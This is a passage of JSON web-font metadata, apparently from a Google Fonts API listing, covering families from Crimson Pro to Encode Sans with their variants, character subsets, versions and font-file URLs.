s.gstatic.com/s/crimsonpro/v13/q5uSsoa5M_tv7IihmnkabAReu49Y_Bo-HVKMBi6me5s7dtC4yZNE.ttf","600italic":"http://fonts.gstatic.com/s/crimsonpro/v13/q5uSsoa5M_tv7IihmnkabAReu49Y_Bo-HVKMBi5KfJs7dtC4yZNE.ttf","700italic":"http://fonts.gstatic.com/s/crimsonpro/v13/q5uSsoa5M_tv7IihmnkabAReu49Y_Bo-HVKMBi5zfJs7dtC4yZNE.ttf","800italic":"http://fonts.gstatic.com/s/crimsonpro/v13/q5uSsoa5M_tv7IihmnkabAReu49Y_Bo-HVKMBi4UfJs7dtC4yZNE.ttf","900italic":"http://fonts.gstatic.com/s/crimsonpro/v13/q5uSsoa5M_tv7IihmnkabAReu49Y_Bo-HVKMBi49fJs7dtC4yZNE.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Crimson Text","variants":["regular","italic","600","600italic","700","700italic"],"subsets":["latin"],"version":"v11","lastModified":"2020-09-10","files":{"regular":"http://fonts.gstatic.com/s/crimsontext/v11/wlp2gwHKFkZgtmSR3NB0oRJvaAJSA_JN3Q.ttf","italic":"http://fonts.gstatic.com/s/crimsontext/v11/wlpogwHKFkZgtmSR3NB0oRJfaghWIfdd3ahG.ttf","600":"http://fonts.gstatic.com/s/crimsontext/v11/wlppgwHKFkZgtmSR3NB0oRJXsCx2C9lR1LFffg.ttf","600italic":"http://fonts.gstatic.com/s/crimsontext/v11/wlprgwHKFkZgtmSR3NB0oRJfajCOD9NV9rRPfrKu.ttf","700":"http://fonts.gstatic.com/s/crimsontext/v11/wlppgwHKFkZgtmSR3NB0oRJX1C12C9lR1LFffg.ttf","700italic":"http://fonts.gstatic.com/s/crimsontext/v11/wlprgwHKFkZgtmSR3NB0oRJfajDqDtNV9rRPfrKu.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Croissant One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/croissantone/v8/3y9n6bU9bTPg4m8NDy3Kq24UM3pqn5cdJ-4.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Crushed","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/crushed/v11/U9Mc6dym6WXImTlFT1kfuIqyLzA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Cuprum","variants":["regular","500","600","700","italic","500italic","600italic","700italic"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v13","lastModified":"2020-10-08","files":{"regular":"http://fonts.gstatic.com/s/cuprum/v13/dg45_pLmvrkcOkBnKsOzXyGWTBcmg-X6ZjzSJjQjgnU.ttf","500":"http://fonts.gstatic.com/s/cuprum/v13/dg45_pLmvrkcOkBnKsOzXyGWTBcmg9f6ZjzSJjQjgnU.ttf","600":"http://fonts.gstatic.com/s/cuprum/v13/dg45_pLmvrkcOkBnKsOzXyGWTBcmgzv9ZjzSJjQjgnU.ttf","700":"http://fonts.gstatic.com/s/cuprum/v13/dg45_pLmvrkcOkBnKsOzXyGWTBcmgwL9ZjzSJjQjgnU.ttf","italic":"http://fonts.gstatic.com/s/cuprum/v13/dg47_pLmvrkcOkBNI_FMh0j91rkhli25jn_YIhYmknUPEA.ttf","500italic":"http://fonts.gstatic.com/s/cuprum/v13/dg47_pLmvrkcOkBNI_FMh0j91rkhli25vH_YIhYmknUPEA.ttf","600italic":"http://fonts.gstatic.com/s/cuprum/v13/dg47_pLmvrkcOkBNI_FMh0j91rkhli25UHjYIhYmknUPEA.ttf","700italic":"http://fonts.gstatic.com/s/cuprum/v13/dg47_pLmvrkcOkBNI_FMh0j91rkhli25aXjYIhYmknUPEA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Cute Font","variants":["regular"],"subsets":["korean","latin"],"version":"v8","lastModified":"2019-07-16","files":{"regular":"http://fonts.gstatic.com/s/cutefont/v8/Noaw6Uny2oWPbSHMrY6vmJNVNC9hkw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Cutive","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/cutive/v12/NaPZcZ_fHOhV3Ip7T_hDoyqlZQ.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Cutive Mono","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/cutivemono/v9/m8JWjfRfY7WVjVi2E-K9H5RFRG-K3Mud.ttf"},"category":"monospace","kind":"webfonts#webfont"},{"family":"DM Mono","variants":["300","300italic","regular","italic","500","500italic"],"subsets":["latin","latin-ext"],"version":"v2","lastModified":"2020-07-23","files":{"300":"http://fonts.gstatic.com/s/dmmono/v2/aFTR7PB1QTsUX8KYvrGyIYSnbKX9Rlk.ttf","300italic":"http://fonts.gstatic.com/s/dmmono/v2/aFTT7PB1QTsUX8KYth-orYataIf4VllXuA.ttf","regular":"http://fonts.gstatic.com/s/dmmono/v2/aFTU7PB1QTsUX8KYhh2aBYyMcKw.ttf","italic":"http://fonts.gstatic.com/s/dmmono/v2/aFTW7PB1QTsUX8KYth-QAa6JYKzkXw.ttf","500":"http://fonts.gstatic.com/s/dmmono/v2/aFTR7PB1QTsUX8KYvumzIYSnbKX9Rlk.ttf","500italic":"http://fonts.gstatic.com/s/dmmono/v2/aFTT7PB1QTsUX8KYth-o9YetaIf4VllXuA.ttf"},"category":"monospace","kind":"webfonts#webfont"},{"family":"DM Sans","variants":["regular","italic","500","500italic","700","700italic"],"subsets":["latin","latin-ext"],"version":"v6","lastModified":"2020-11-06","files":{"regular":"http://fonts.gstatic.com/s/dmsans/v6/rP2Hp2ywxg089UriOZSCHBeHFl0.ttf","italic":"http://fonts.gstatic.com/s/dmsans/v6/rP2Fp2ywxg089UriCZaIGDWCBl0O8Q.ttf","500":"http://fonts.gstatic.com/s/dmsans/v6/rP2Cp2ywxg089UriAWCrOB-sClQX6Cg.ttf","500italic":"http://fonts.gstatic.com/s/dmsans/v6/rP2Ap2ywxg089UriCZaw7BymDnYS-Cjk6Q.ttf","700":"http://fonts.gstatic.com/s/dmsans/v6/rP2Cp2ywxg089UriASitOB-sClQX6Cg.ttf","700italic":"http://fonts.gstatic.com/s/dmsans/v6/rP2Ap2ywxg089UriCZawpBqmDnYS-Cjk6Q.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"DM Serif Display","variants":["regular","italic"],"subsets":["latin","latin-ext"],"version":"v4","lastModified":"2019-11-19","files":{"regular":"http://fonts.gstatic.com/s/dmserifdisplay/v4/-nFnOHM81r4j6k0gjAW3mujVU2B2K_d709jy92k.ttf","italic":"http://fonts.gstatic.com/s/dmserifdisplay/v4/-nFhOHM81r4j6k0gjAW3mujVU2B2G_Vx1_r352np3Q.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"DM Serif Text","variants":["regular","italic"],"subsets":["latin","latin-ext"],"version":"v4","lastModified":"2019-11-19","files":{"regular":"http://fonts.gstatic.com/s/dmseriftext/v4/rnCu-xZa_krGokauCeNq1wWyafOPXHIJErY.ttf","italic":"http://fonts.gstatic.com/s/dmseriftext/v4/rnCw-xZa_krGokauCeNq1wWyWfGFWFAMArZKqQ.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Damion","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/damion/v10/hv-XlzJ3KEUe_YZUbWY3MTFgVg.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Dancing Script","variants":["regular","500","600","700"],"subsets":["latin","latin-ext","vietnamese"],"version":"v15","lastModified":"2020-06-26","files":{"regular":"http://fonts.gstatic.com/s/dancingscript/v15/If2cXTr6YS-zF4S-kcSWSVi_sxjsohD9F50Ruu7BMSoHTeB9ptDqpw.ttf","500":"http://fonts.gstatic.com/s/dancingscript/v15/If2cXTr6YS-zF4S-kcSWSVi_sxjsohD9F50Ruu7BAyoHTeB9ptDqpw.ttf","600":"http://fonts.gstatic.com/s/dancingscript/v15/If2cXTr6YS-zF4S-kcSWSVi_sxjsohD9F50Ruu7B7y0HTeB9ptDqpw.ttf","700":"http://fonts.gstatic.com/s/dancingscript/v15/If2cXTr6YS-zF4S-kcSWSVi_sxjsohD9F50Ruu7B1i0HTeB9ptDqpw.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Dangrek","variants":["regular"],"subsets":["khmer"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/dangrek/v12/LYjCdG30nEgoH8E2gCNqqVIuTN4.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Darker Grotesque","variants":["300","regular","500","600","700","800","900"],"subsets":["latin","latin-ext","vietnamese"],"version":"v2","lastModified":"2020-07-23","files":{"300":"http://fonts.gstatic.com/s/darkergrotesque/v2/U9MA6cuh-mLQlC4BKCtayOfARkSVoxr2AW8hTOsXsX0.ttf","regular":"http://fonts.gstatic.com/s/darkergrotesque/v2/U9MH6cuh-mLQlC4BKCtayOfARkSVm7beJWcKUOI.ttf","500":"http://fonts.gstatic.com/s/darkergrotesque/v2/U9MA6cuh-mLQlC4BKCtayOfARkSVo0L3AW8hTOsXsX0.ttf","600":"http://fonts.gstatic.com/s/darkergrotesque/v2/U9MA6cuh-mLQlC4BKCtayOfARkSVo27wAW8hTOsXsX0.ttf","700":"http://fonts.gstatic.com/s/darkergrotesque/v2/U9MA6cuh-mLQlC4BKCtayOfARkSVowrxAW8hTOsXsX0.ttf","800":"http://fonts.gstatic.com/s/darkergrotesque/v2/U9MA6cuh-mLQlC4BKCtayOfARkSVoxbyAW8hTOsXsX0.ttf","900":"http://fonts.gstatic.com/s/darkergrotesque/v2/U9MA6cuh-mLQlC4BKCtayOfARkSVozLzAW8hTOsXsX0.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"David Libre","variants":["regular","500","700"],"subsets":["hebrew","latin","latin-ext","vietnamese"],"version":"v5","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/davidlibre/v5/snfus0W_99N64iuYSvp4W_l86p6TYS-Y.ttf","500":"http://fonts.gstatic.com/s/davidlibre/v5/snfzs0W_99N64iuYSvp4W8GIw7qbSjORSo9W.ttf","700":"http://fonts.gstatic.com/s/davidlibre/v5/snfzs0W_99N64iuYSvp4W8HAxbqbSjORSo9W.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Dawning of a New Day","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/dawningofanewday/v11/t5t_IQMbOp2SEwuncwLRjMfIg1yYit_nAz8bhWJGNoBE.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Days One","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/daysone/v10/mem9YaCnxnKRiYZOCLYVeLkWVNBt.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Dekko","variants":["regular"],"subsets":["devanagari","latin","latin-ext"],"version":"v7","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/dekko/v7/46khlb_wWjfSrttFR0vsfl1B.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Delius","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/delius/v10/PN_xRfK0pW_9e1rtYcI-jT3L_w.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Delius Swash Caps","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/deliusswashcaps/v12/oY1E8fPLr7v4JWCExZpWebxVKORpXXedKmeBvEYs.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Delius Unicase","variants":["regular","700"],"subsets":["latin"],"version":"v14","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/deliusunicase/v14/845BNMEwEIOVT8BmgfSzIr_6mmLHd-73LXWs.ttf","700":"http://fonts.gstatic.com/s/deliusunicase/v14/845CNMEwEIOVT8BmgfSzIr_6mlp7WMr_BmmlS5aw.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Della Respira","variants":["regular"],"subsets":["latin"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/dellarespira/v8/RLp5K5v44KaueWI6iEJQBiGPRfkSu6EuTHo.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Denk One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/denkone/v8/dg4m_pzhrqcFb2IzROtHpbglShon.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Devonshire","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/devonshire/v9/46kqlbDwWirWr4gtBD2BX0Vq01lYAZM.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Dhurjati","variants":["regular"],"subsets":["latin","telugu"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/dhurjati/v8/_6_8ED3gSeatXfFiFX3ySKQtuTA2.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Didact Gothic","variants":["regular"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","latin","latin-ext"],"version":"v14","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/didactgothic/v14/ahcfv8qz1zt6hCC5G4F_P4ASpUySp0LlcyQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Diplomata","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/diplomata/v12/Cn-0JtiMXwhNwp-wKxyfYGxYrdM9Sg.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Diplomata SC","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/diplomatasc/v9/buExpoi3ecvs3kidKgBJo2kf-P5Oaiw4cw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Do Hyeon","variants":["regular"],"subsets":["korean","latin"],"version":"v11","lastModified":"2019-07-16","files":{"regular":"http://fonts.gstatic.com/s/dohyeon/v11/TwMN-I8CRRU2zM86HFE3ZwaH__-C.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Dokdo","variants":["regular"],"subsets":["korean","latin"],"version":"v8","lastModified":"2019-07-16","files":{"regular":"http://fonts.gstatic.com/s/dokdo/v8/esDf315XNuCBLxLo4NaMlKcH.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Domine","variants":["regular","500","600","700"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-09-29","files":{"regular":"http://fonts.gstatic.com/s/domine/v10/L0xhDFMnlVwD4h3Lt9JWnbX3jG-2X3LAI10VErGuW8Q.ttf","500":"http://fonts.gstatic.com/s/domine/v10/L0xhDFMnlVwD4h3Lt9JWnbX3jG-2X0DAI10VErGuW8Q.ttf","600":"http://fonts.gstatic.com/s/domine/v10/L0xhDFMnlVwD4h3Lt9JWnbX3jG-2X6zHI10VErGuW8Q.ttf","700":"http://fonts.gstatic.com/s/domine/v10/L0xhDFMnlVwD4h3Lt9JWnbX3jG-2X5XHI10VErGuW8Q.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Donegal One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/donegalone/v8/m8JWjfRYea-ZnFz6fsK9FZRFRG-K3Mud.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Doppio One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/doppioone/v8/Gg8wN5gSaBfyBw2MqCh-lgshKGpe5Fg.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Dorsa","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/dorsa/v11/yYLn0hjd0OGwqo493XCFxAnQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Dosis","variants":["200","300","regular","500","600","700","800"],"subsets":["latin","latin-ext","vietnamese"],"version":"v18","lastModified":"2020-06-26","files":{"200":"http://fonts.gstatic.com/s/dosis/v18/HhyJU5sn9vOmLxNkIwRSjTVNWLEJt7MV3BkFTq4EPw.ttf","300":"http://fonts.gstatic.com/s/dosis/v18/HhyJU5sn9vOmLxNkIwRSjTVNWLEJabMV3BkFTq4EPw.ttf","regular":"http://fonts.gstatic.com/s/dosis/v18/HhyJU5sn9vOmLxNkIwRSjTVNWLEJN7MV3BkFTq4EPw.ttf","500":"http://fonts.gstatic.com/s/dosis/v18/HhyJU5sn9vOmLxNkIwRSjTVNWLEJBbMV3BkFTq4EPw.ttf","600":"http://fonts.gstatic.com/s/dosis/v18/HhyJU5sn9vOmLxNkIwRSjTVNWLEJ6bQV3BkFTq4EPw.ttf","700":"http://fonts.gstatic.com/s/dosis/v18/HhyJU5sn9vOmLxNkIwRSjTVNWLEJ0LQV3BkFTq4EPw.ttf","800":"http://fonts.gstatic.com/s/dosis/v18/HhyJU5sn9vOmLxNkIwRSjTVNWLEJt7QV3BkFTq4EPw.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Dr Sugiyama","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/drsugiyama/v10/HTxoL2k4N3O9n5I1boGI7abRM4-t-g7y.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Duru Sans","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v14","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/durusans/v14/xn7iYH8xwmSyTvEV_HOxT_fYdN-WZw.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Dynalight","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/dynalight/v9/1Ptsg8LOU_aOmQvTsF4ISotrDfGGxA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"EB Garamond","variants":["regular","500","600","700","800","italic","500italic","600italic","700italic","800italic"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","latin","latin-ext","vietnamese"],"version":"v14","lastModified":"2020-06-26","files":{"regular":"http://fonts.gstatic.com/s/ebgaramond/v14/SlGDmQSNjdsmc35JDF1K5E55YMjF_7DPuGi-6_RUA4V-e6yHgQ.ttf","500":"http://fonts.gstatic.com/s/ebgaramond/v14/SlGDmQSNjdsmc35JDF1K5E55YMjF_7DPuGi-2fRUA4V-e6yHgQ.ttf","600":"http://fonts.gstatic.com/s/ebgaramond/v14/SlGDmQSNjdsmc35JDF1K5E55YMjF_7DPuGi-NfNUA4V-e6yHgQ.ttf","700":"http://fonts.gstatic.com/s/ebgaramond/v14/SlGDmQSNjdsmc35JDF1K5E55YMjF_7DPuGi-DPNUA4V-e6yHgQ.ttf","800":"http://fonts.gstatic.com/s/ebgaramond/v14/SlGDmQSNjdsmc35JDF1K5E55YMjF_7DPuGi-a_NUA4V-e6yHgQ.ttf","italic":"http://fonts.gstatic.com/s/ebgaramond/v14/SlGFmQSNjdsmc35JDF1K5GRwUjcdlttVFm-rI7e8QI96WamXgXFI.ttf","500italic":"http://fonts.gstatic.com/s/ebgaramond/v14/SlGFmQSNjdsmc35JDF1K5GRwUjcdlttVFm-rI7eOQI96WamXgXFI.ttf","600italic":"http://fonts.gstatic.com/s/ebgaramond/v14/SlGFmQSNjdsmc35JDF1K5GRwUjcdlttVFm-rI7diR496WamXgXFI.ttf","700italic":"http://fonts.gstatic.com/s/ebgaramond/v14/SlGFmQSNjdsmc35JDF1K5GRwUjcdlttVFm-rI7dbR496WamXgXFI.ttf","800italic":"http://fonts.gstatic.com/s/ebgaramond/v14/SlGFmQSNjdsmc35JDF1K5GRwUjcdlttVFm-rI7c8R496WamXgXFI.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Eagle Lake","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/eaglelake/v8/ptRMTiqbbuNJDOiKj9wG5O7yKQNute8.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"East Sea Dokdo","variants":["regular"],"subsets":["korean","latin"],"version":"v8","lastModified":"2019-07-16","files":{"regular":"http://fonts.gstatic.com/s/eastseadokdo/v8/xfuo0Wn2V2_KanASqXSZp22m05_aGavYS18y.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Eater","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/eater/v9/mtG04_FCK7bOvpu2u3FwsXsR.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Economica","variants":["regular","italic","700","700italic"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/economica/v8/Qw3fZQZaHCLgIWa29ZBrMcgAAl1lfQ.ttf","italic":"http://fonts.gstatic.com/s/economica/v8/Qw3ZZQZaHCLgIWa29ZBbM8IEIFh1fWUl.ttf","700":"http://fonts.gstatic.com/s/economica/v8/Qw3aZQZaHCLgIWa29ZBTjeckCnZ5dHw8iw.ttf","700italic":"http://fonts.gstatic.com/s/economica/v8/Qw3EZQZaHCLgIWa29ZBbM_q4D3x9Vnksi4M7.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Eczar","variants":["regular","500","600","700","800"],"subsets":["devanagari","latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/eczar/v9/BXRlvF3Pi-DLmw0iBu9y8Hf0.ttf","500":"http://fonts.gstatic.com/s/eczar/v9/BXRovF3Pi-DLmzXWL8t622v9WNjW.ttf","600":"http://fonts.gstatic.com/s/eczar/v9/BXRovF3Pi-DLmzX6KMt622v9WNjW.ttf","700":"http://fonts.gstatic.com/s/eczar/v9/BXRovF3Pi-DLmzWeKct622v9WNjW.ttf","800":"http://fonts.gstatic.com/s/eczar/v9/BXRovF3Pi-DLmzWCKst622v9WNjW.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"El Messiri","variants":["regular","500","600","700"],"subsets":["arabic","cyrillic","latin"],"version":"v8","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/elmessiri/v8/K2F0fZBRmr9vQ1pHEey6AoqKAyLzfWo.ttf","500":"http://fonts.gstatic.com/s/elmessiri/v8/K2F3fZBRmr9vQ1pHEey6On6jJyrYYWOMluQ.ttf","600":"http://fonts.gstatic.com/s/elmessiri/v8/K2F3fZBRmr9vQ1pHEey6OlKkJyrYYWOMluQ.ttf","700":"http://fonts.gstatic.com/s/elmessiri/v8/K2F3fZBRmr9vQ1pHEey6OjalJyrYYWOMluQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Electrolize","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/electrolize/v9/cIf5Ma1dtE0zSiGSiED7AUEGso5tQafB.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Elsie","variants":["regular","900"],"subsets":["latin","latin-ext"],"version":"v11","lastModified":"2020-11-20","files":{"regular":"http://fonts.gstatic.com/s/elsie/v11/BCanqZABrez54yYu9slAeLgX.ttf","900":"http://fonts.gstatic.com/s/elsie/v11/BCaqqZABrez54x6q2-1IU6QeXSBk.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Elsie Swash Caps","variants":["regular","900"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/elsieswashcaps/v9/845DNN8xGZyVX5MVo_upKf7KnjK0ferVKGWsUo8.ttf","900":"http://fonts.gstatic.com/s/elsieswashcaps/v9/845ENN8xGZyVX5MVo_upKf7KnjK0RW74DG2HToawrdU.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Emblema One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/emblemaone/v9/nKKT-GQ0F5dSY8vzG0rOEIRBHl57G_f_.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Emilys Candy","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/emilyscandy/v8/2EbgL-1mD1Rnb0OGKudbk0y5r9xrX84JjA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Encode Sans","variants":["100","200","300","regular","500","600","700","800","900"],"subsets":["latin","latin-ext","vietnamese"],"version":"v7","lastModified":"2020-07-29","files":{"100":"http://fonts.gstatic.com/s/encodesans/v7/LDIcapOFNxEwR-Bd1O9uYNmnUQomAgE25imKSbHhROjLsZBWTSrQGGHiZtWP7FJCt2c.ttf","200":"http://fonts.gstatic.com/s/encodesans/v7/LDIcapOFNxEwR-Bd1O9uYNmnUQomAgE25imKSbHhROjLsZBWTSrQGOHjZtWP7FJCt2c.ttf","300":"http://fonts.gstatic.com/s/encodesans/v7/LDIcapOFNxEwR-Bd1O9uYNmnUQomAgE25imKSbHhROjLsZBWTSrQGD_jZtWP7FJCt2c.ttf","regular":"http://fonts.gstatic.com/s/encodesans/v7/LDIcapOFNxEwR-Bd1O9uYNmnUQomAgE25imKSbHhROjLsZBWTSrQGGHjZtWP7FJCt2c.ttf","500":"http://fonts.gstatic.com/s/encodesans/v7/LDIcapOFNxEwR-Bd1O9uYNmnUQomAgE25imKSbHhROjLsZBWTSrQGFPjZtWP7FJCt2c.ttf","600":"http://fonts.gstatic.com/s/encodesans/v7/LDIcapOFNxEwR-Bd1O9uYNmnUQomAgE25imKSbHhROjLsZBWTSrQGL_kZtWP7FJCt2c.ttf","700":"http://fonts.gstatic.com/s/encodesans/v7/LDIcapOFNxEwR-Bd1O9uYNmnUQomAgE25imKSbHhROjLsZBWTSrQGIbkZtWP7FJCt2c.ttf","800":"http://fonts.gstatic.com/s/encodesans/v7/LDIcapOFNxEwR-Bd1O9uYNmnUQomAgE25imKSbHhROjLsZBWTSrQGOHkZtWP7FJCt2c.ttf","900":"http://fonts.gstatic.com/s/encodesans/v7/LDIcapOFNxEwR-Bd1O9uYNmnUQomAgE25imKSbHhROjLsZBWTSrQGMjkZtWP7FJCt2c.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Encode Sans Condensed","variants":["100","200","300","regular","500","600","700","800","900"],"subsets":["latin","latin-ext","vietnamese"],"version":"v5","lastModified":"2020-09-02","files":{"100":"http://fonts.gstatic.com/s/encodesanscondensed/v5/j8_76_LD37rqfuwxyIuaZhE6cRXOLtm2gfT-5a-JLQoFI2KR.ttf","200":"http://fonts.gstatic.com/s/encodesanscondensed/v5/j8_46_LD37rqfuwxyIuaZhE6cRXOLtm2gfT-SY6pByQJKnuIFA.ttf","300":"http://fonts.gstatic.com/s/encodesanscondensed/v5/j8_46_LD37rqfuwxyIuaZhE6cRXOLtm2gfT-LY2pByQJKnuIFA.ttf","regular":"http://fonts.gstatic.com/s/encodesanscondensed/v5/j8_16_LD37rqfuwxyIuaZhE6cRXOLtm2gfTGgaWNDw8VIw.ttf","500":"http://fonts.gstatic.com/s/encodesanscondensed/v5/j8_46_LD37rqfuwxyIuaZhE6cRXOLtm2gfT-dYypByQJKnuIFA.ttf","600":"http://fonts.gstatic.com/s/encodesanscondensed/v5/j8_46_LD37rqfuwxyIuaZhE6cRXOLtm2gfT-WYupByQJKnuIFA.ttf","700":"http://fonts.gstatic.com/s/encodesanscondensed/v5/j8_46_LD37rqfuwxyIuaZhE6cRXOLtm2gfT-PYqpByQJKnuIFA.ttf","800":"http://fonts.gstatic.com/s/encodesanscondensed/v5/j8_46_LD37rqfuwxyIuaZhE6cRXOLtm2gfT-IYmpByQJKnuIFA.ttf","900":"http://fonts.gstatic.com/s/encodesanscondensed/v5/j8_46_LD37rqfuwxyIuaZhE6cRXOLtm2gfT-BYipByQJKnuIFA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Encode Sans 